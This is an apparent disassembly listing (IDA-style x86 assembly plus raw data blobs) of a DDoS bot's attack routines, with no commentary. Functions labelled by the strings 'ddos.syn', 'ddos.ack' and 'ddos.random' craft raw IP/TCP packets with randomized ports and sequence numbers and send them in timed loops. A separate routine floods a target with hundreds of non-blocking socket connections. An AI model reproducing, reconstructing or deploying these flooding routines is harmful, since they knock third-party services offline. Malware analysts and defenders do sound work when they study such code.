var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB5C4
test eax, eax
jz short loc_412B49
xor eax, eax
jmp loc_412E3C
; ---------------------------------------------------------------------------
loc_412B49: ; CODE XREF: sub_412B09+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB6F8
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_412E34
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CB634
cmp eax, 0FFFFFFFFh
jz loc_412E2A
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CB654
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CB654
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CB654
mov [ebp+var_12], ax
call sub_41B8E2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB654
push 12345678h
mov [ebp+var_14], ax
call dword_4CB650
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C19
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_412C6D
; ---------------------------------------------------------------------------
loc_412C19: ; CODE XREF: sub_412B09+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C35
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_412C6D
; ---------------------------------------------------------------------------
loc_412C35: ; CODE XREF: sub_412B09+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C6D
call sub_41B8E2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41B8E2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_412C6D: ; CODE XREF: sub_412B09+10Ej
; sub_412B09+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CB654
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
nop
call near ptr 27C0000h
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 27B091Ah
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41D280
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_412CBB: ; CODE XREF: sub_412B09+2E2j
; sub_412B09+2F0j
mov [ebp+var_4], bx
call sub_41B8E2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB654
mov [ebp+var_14], ax
call sub_41B8E2
mov edi, eax
shl edi, 10h
call sub_41B8E2
or edi, eax
push edi
call dword_4CB654
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB650
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB654
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C310
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC69
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C310
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B590
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC69
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CB6B8
cmp eax, 0FFFFFFFFh
jz short loc_412DFE
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call near ptr 27B091Ah
nop
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_412E27
jl loc_412CBB
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_412E27
jmp loc_412CBB
; ---------------------------------------------------------------------------
loc_412DFE: ; CODE XREF: sub_412B09+2CBj
call dword_4CB5E8
push eax
lea eax, [ebp+var_F4]
push offset dword_436214
push eax
call sub_41B886
lea eax, [ebp+var_F4]
push eax
call sub_4151AD
add esp, 10h
jmp short loc_412E2A
; ---------------------------------------------------------------------------
loc_412E27: ; CODE XREF: sub_412B09+2E0j
; sub_412B09+2EEj
mov ebx, [ebp+arg_8]
loc_412E2A: ; CODE XREF: sub_412B09+78j
; sub_412B09+31Cj
push [ebp+var_20]
call dword_4CB6EC
pop esi
loc_412E34: ; CODE XREF: sub_412B09+5Bj
call dword_4CB5AC
mov eax, ebx
loc_412E3C: ; CODE XREF: sub_412B09+3Bj
pop edi
pop ebx
leave
retn
sub_412B09 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAFA
push dword ptr [esp+18h]
mov esi, eax
call sub_41B779
push dword ptr [esp+24h]
mov ebx, eax
call sub_41B779
mov edi, eax
call sub_41B8E2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_412B09
add esp, 20h
test eax, eax
jnz short loc_412E8F
push 1
pop eax
loc_412E8F: ; CODE XREF: ___:00412E8Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
word_412E9E dw 8B55h ; DATA XREF: sub_401ACD+6722o
dd 0BCEC81ECh, 53000003h, 8458B56h, 8B686A57h, 0BD8D59F0h
dd 0FFFFFE44h, 685B016Ah, 0FFh, 0A5F3036Ah, 9889026Ah
dd 19Ch, 0B6D415FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h
dd 4CB5E8h, 44858D50h, 68FFFFFCh, 436314h, 8994E850h, 0FF330000h
dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h
dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF6B5AE8h, 14C483FFh
dd 0FC44858Dh, 0E850FFFFh, 2285h, 0E8C875FFh, 0FFFF84E3h
dd 90575959h, 2FD0C7E8h, 0F44D8D02h, 3351046Ah, 57026AFFh
dd 0F45D8950h, 0B63415FFh
db 4Ch, 0
word_412F4E dw 0F883h ; DATA XREF: ___:off_43A86Co
dd 0FF5D75FFh, 4CB5E815h, 858D5000h, 0FFFFFC44h, 4362E468h
dd 1BE85000h, 83000089h, 7D390CC4h, 572075DCh, 0FC44858Dh
dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh
dd 0FFFF6AE3h, 8D14C483h, 0FFFC4485h, 0EE850FFh, 0FF000022h
dd 6CE8C875h, 59FFFF84h, 0E8905759h, 22FD050h, 0FE48858Dh
dd 0FF50FFFFh, 4CB69415h, 0FFF88300h, 858D5575h, 0FFFFFC44h
dd 4362C468h, 0B3E85000h, 39000088h, 5959DC7Dh, 8D572075h
dd 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh
dd 7CE8FFFFh, 83FFFF6Ah, 858D14C4h, 0FFFFFC44h, 21A7E850h
dd 75FF0000h, 8405E8C8h, 5959FFFFh, 0CFEAE857h, 6A90022Fh
dd 0E4458D10h, 6DE85057h, 83000085h, 0C7660CC4h, 2E445h
dd 5415FF57h, 66004CB6h, 8DE64589h, 0FFFE4885h, 15FF50FFh
dd 4CB694h, 70A8358Bh, 45890042h, 87D89E8h, 4589D6FFh
dd 2BD6FFF8h, 0D233F845h, 3E8B9h, 3BF1F700h, 870FD045h
dd 194h, 41C68h, 0C805C600h, 45004CE3h, 0B65415FFh, 7D39004Ch
dd 0CAA366D4h, 66004CE3h, 0E3CC1D89h, 8966004Ch, 4CE3CE3Dh
dd 0D005C600h, 80004CE3h, 0E3D11D88h, 8966004Ch, 4CE3D23Dh
dd 0E8307400h, 8832h, 0E3C1D88Bh, 8828E808h, 0D8030000h
dd 0E808E3C1h, 881Eh, 0E3C1D803h, 8814E808h, 0D8030000h
dd 1D89016Ah, 4CE3D4h, 0FF18EB5Bh, 0FFFE44B5h, 7B2AE8FFh
dd 5059FFFFh, 0B69415FFh, 0D4A3004Ch, 8B004CE3h, 0D8A3E845h
dd 0E8004CE3h, 87E2h, 100B999h, 0F9F70000h, 0E3DC1588h
dd 0CFE8004Ch, 99000087h, 100B9h, 88F9F700h, 4CE3DD15h
dd 87BCE800h, 0B9990000h, 0F0h, 40068h, 66F9F700h, 0E3DE3D89h
dd 8966004Ch, 4CE3E21Dh, 89664200h, 4CE3E015h, 8794E800h
dd 0B9990000h, 0FFh, 6852F9F7h, 4CE3E4h, 842FE8h, 0CC48300h
dd 6AE4458Dh, 68575010h, 41Ch, 4CE3C868h, 0FC75FF00h, 0B6B815FFh
dd 0F883004Ch, 0FF0874FFh, 0CAE90845h, 0FFFFFFFEh, 15FFFC75h
dd 4CB6ECh, 0B5E815FFh, 8D50004Ch, 0FFFE4885h, 875FFFFh
dd 627C6850h, 858D0043h, 0FFFFFC44h, 20068h, 0C5E85000h
dd 83000087h, 7D3918C4h, 572075DCh, 0FC44858Dh, 75FFFFFFh
dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6893h
dd 8D14C483h, 0FFFC4485h, 0BEE850FFh, 0FF00001Fh, 1CE8C875h
dd 59FFFF82h, 0E8905759h, 22FCE00h, 0FFFC75FFh, 4CB6EC15h
dd 8458B00h, 0C06BD233h, 0C1C88B3Ch, 75F70AE8h, 14E9C1D0h
dd 858D5051h, 0FFFFFE48h, 500875FFh, 0FEC8858Dh, 8D50FFFFh
dd 0FFFC4485h, 623068FFh, 0E8500043h, 8646h, 391CC483h
dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h
dd 0B5FF50FFh, 0FFFFFE44h, 0FF680EE8h, 14C483FFh, 0FC44858Dh
dd 0E850FFFFh, 1F39h, 0E8C875FFh, 0FFFF8197h, 0E8575959h
dd 22FCD7Ch
db 90h
byte_413285 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5510o
dd 10320B8h, 888EE800h, 458B0000h, 57565308h, 0F08B496Ah
dd 0BCBD8D59h, 0F3FFFFFEh, 5F016AA5h, 120B889h, 15FF0000h
dd 4CB5DCh, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CB694h
dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh
dd 4CB6D8h, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h
dd 0BC858D50h, 68FFFFFCh, 43636Ch, 8588E850h, 0C4830000h
dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h
dd 50FFFFFEh, 0FEBCB5FFh, 50E8FFFFh, 83FFFF67h, 858D14C4h
dd 0FFFFFCBCh, 1E7BE850h, 75FF0000h, 80D9E8D0h, 5959FFFFh
dd 0BDE89057h, 3B022FCCh, 8B0C74C3h, 8B0C40h, 4589008Bh
dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 822EE850h, 4D830000h
dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h, 7D39C445h
dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh
dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh
dd 4CB56C15h, 753B4600h, 0FFDA7CC0h, 15FF0875h, 4CB70Ch
dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 634068FFh, 0E8500043h
dd 84BAh, 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh
dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6682E8h
dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1DADh, 0E8D075FFh
dd 0FFFF800Bh, 90535959h, 2FCBEFE8h
db 2
byte_413411 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+575Co
dd 10310B8h, 8702E800h, 458B0000h, 57565308h, 0F08B496Ah
dd 0CCBD8D59h, 0F3FFFFFEh, 5E016AA5h, 120B089h, 2EE80000h
dd 90022AD2h, 8492E850h, 6A590000h, 6A026A11h, 0D415FF02h
dd 8B004CB6h, 6AFF33D8h, 0F0458D10h, 2DE85057h, 83000081h
dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CB69415h
dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh, 0B6D815FFh
dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh
dd 4363C0h, 83DCE850h, 0C4830000h, 0E87D390Ch, 8D572075h
dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh
dd 0A4E8FFFFh, 83FFFF65h, 858D14C4h, 0FFFFFCCCh, 1CCFE850h
dd 75FF0000h, 7F2DE8E0h, 5959FFFFh, 11E89056h, 8B022FCBh
dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h
dd 83DAh, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh
dd 4CB65415h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh
dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h
dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h, 838CE81Ah
dd 0B9990000h, 0FFh, 3B46F9F7h, 9488D475h, 0FEFCEF35h
dd 8BE67CFFh, 4DFFD045h, 7EC085D0h, 5E0B6A55h, 6AF0458Dh
dd 0E8575010h, 835Eh, 59990A6Ah, 458BF9F7h, 50C22BD4h
dd 0FCF0858Dh, 5350FFFEh, 0B6B815FFh, 75FF004Ch, 0D99EE8D8h
dd 4E900228h, 7D39CE75h, 0E8BC75DCh, 832Eh, 0FFDCB999h
dd 0F9F70000h, 15FF5242h, 4CB654h, 0F2458966h, 858DA1EBh
dd 0FFFFFF50h, 0CC858D50h, 68FFFFFCh, 436394h, 82A4E850h
dd 0C4830000h, 0E87D390Ch, 8D572075h, 0FFFCCC85h, 0E475FFFFh
dd 0D0858D50h, 50FFFFFEh, 0FECCB5FFh, 6CE8FFFFh, 83FFFF64h
dd 858D14C4h, 0FFFFFCCCh, 1B97E850h, 75FF0000h, 7DF5E8E0h
dd 5959FFFFh, 0D9E89057h
db 0C9h, 2Fh, 2
byte_413627 db 55h ; DATA XREF: sub_401ACD+4DEDo
dd 0EC81EC8Bh, 414h, 5608458Bh, 85B957h, 0F08B0000h, 0FDECBD8Dh
dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 120h
dd 500CC483h, 0FBEC858Dh, 0E868FFFFh, 50004363h, 8209E8h
dd 83F63300h, 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh
dd 858D50F4h, 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF63CFh
dd 8D14C483h, 0FFFBEC85h, 0FAE850FFh, 0FF00001Ah, 58E8F075h
dd 59FFFF7Dh, 0E8905659h, 22FC93Ch
; ---------------------------------------------------------------------------
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4136C6 proc near ; CODE XREF: ___:004137AFp
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CB654
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_413784
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_413711: ; CODE XREF: sub_4136C6+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_413719: ; CODE XREF: sub_4136C6+7Aj
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_41373C
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call near ptr 71AB155Ah
nop
loc_41373C: ; CODE XREF: sub_4136C6+64j
add esi, 4
dec ebx
jnz short loc_413719
lea esi, [ebp+var_654]
mov ebx, edi
loc_41374A: ; CODE XREF: sub_4136C6+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
call near ptr 71AB3E5Dh
nop
add esi, 4
dec ebx
jnz short loc_41374A
push 64h
nop
call near ptr 26A0F44h
lea esi, [ebp+var_654]
mov ebx, edi
loc_41376E: ; CODE XREF: sub_4136C6+B4j
push dword ptr [esi]
nop
call near ptr 71AB1A6Dh
add esi, 4
dec ebx
jnz short loc_41376E
dec [ebp+arg_4]
jnz short loc_413711
pop edi
pop esi
pop ebx
loc_413784: ; CODE XREF: sub_4136C6+3Ej
xor eax, eax
leave
retn
sub_4136C6 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAFA
push dword ptr [esp+18h]
mov edi, eax
call sub_41B779
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B779
mov esi, eax
push esi
push ebx
push edi
call sub_4136C6
add esp, 18h
test eax, eax
jnz short loc_4137BE
push 1
pop eax
loc_4137BE: ; CODE XREF: ___:004137B9j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_4137CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+644Ao
dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
dd 858D50FFh, 0FFFFFDF0h, 310E850h, 0C4830000h, 858D500Ch
dd 0FFFFFBECh, 43641468h, 63E85000h, 33000080h, 0CC483F6h
dd 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh, 0FF70858Dh
dd 0FF50FFFFh, 0FFFDECB5h, 6229E8FFh, 0C483FFFFh, 0EC858D14h
dd 50FFFFFBh, 1954E8h, 0F075FF00h, 0FF7BB2E8h, 565959FFh
dd 0C796E890h, 5E5F022Fh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41386C proc near ; CODE XREF: ___:00413B5Ap
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB5C4
test eax, eax
jz short loc_4138AC
xor eax, eax
jmp loc_413B1A
; ---------------------------------------------------------------------------
loc_4138AC: ; CODE XREF: sub_41386C+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB6F8
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_413B12
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CB634
cmp eax, 0FFFFFFFFh
jz loc_413B08
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CB654
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CB654
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CB654
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CB654
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
nop
call near ptr 27C0000h
lea eax, [ebp+var_8]
push eax
call near ptr 27B091Ah
nop
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41D280
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_413997: ; CODE XREF: sub_41386C+25Dj
; sub_41386C+26Bj
mov [ebp+var_24], bx
call sub_41B8E2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB654
mov [ebp+var_34], ax
call sub_41B8E2
mov edi, eax
shl edi, 10h
call sub_41B8E2
or edi, eax
push edi
call dword_4CB654
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB650
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB654
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C310
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC69
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C310
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B590
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC69
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CB6B8
cmp eax, 0FFFFFFFFh
jz short loc_413ADC
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
nop
call near ptr 27B091Ah
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_413B05
jl loc_413997
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_413B05
jmp loc_413997
; ---------------------------------------------------------------------------
loc_413ADC: ; CODE XREF: sub_41386C+247j
call dword_4CB5E8
push eax
lea eax, [ebp+var_F4]
push offset dword_43643C
push eax
call sub_41B886
lea eax, [ebp+var_F4]
push eax
call sub_4151AD
add esp, 10h
jmp short loc_413B08
; ---------------------------------------------------------------------------
loc_413B05: ; CODE XREF: sub_41386C+25Bj
; sub_41386C+269j
mov ebx, [ebp+arg_8]
loc_413B08: ; CODE XREF: sub_41386C+78j
; sub_41386C+297j
push [ebp+var_C]
call dword_4CB6EC
pop esi
loc_413B12: ; CODE XREF: sub_41386C+5Bj
call dword_4CB5AC
mov eax, ebx
loc_413B1A: ; CODE XREF: sub_41386C+3Bj
pop edi
pop ebx
leave
retn
sub_41386C endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAFA
push dword ptr [esp+18h]
mov esi, eax
call sub_41B779
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B779
mov edi, eax
call sub_41B8E2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_41386C
add esp, 1Ch
test eax, eax
jnz short loc_413B69
push 1
pop eax
loc_413B69: ; CODE XREF: ___:00413B64j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_413B78 dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh
; DATA XREF: sub_401ACD+6E45o
dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7BD0E8h
dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 5DE850h
dd 59590000h, 6C858D50h, 68FFFFFCh, 43645Ch, 7CB4E850h
dd 0F6330000h, 390CC483h, 2075F875h, 6C858D56h, 0FFFFFFFCh
dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5E7AE8h
dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 15A5h, 0E8F075FFh
dd 0FFFF7803h, 90565959h, 2FC3E7E8h, 555E5F02h, 0EC81EC8Bh
dd 98h, 6A575653h, 0A5835901h, 0FFFFFF78h, 83046A00h, 5E00A865h
dd 0FFBBh, 33066A00h, 7D8D5AC0h, 7C8D89ACh, 0C7FFFFFFh
dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h
dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h
dd 0C7000000h, 3AA045h, 5D890000h, 0B04589A4h, 0D47D8DABh
dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h
dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh
dd 0AE85700h, 59000093h, 57FC4589h, 6815FF50h, 0FF004CB6h
dd 15FFFC75h, 4CB6D8h, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h
dd 4CB6D415h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h
dd 4CB634h, 200BEh, 0D2E85600h, 8B000077h, 4270A83Dh, 45895900h
dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch
dd 6885C766h, 2FFFFFFh, 5415FF00h, 66004CB6h, 0FF6A8589h
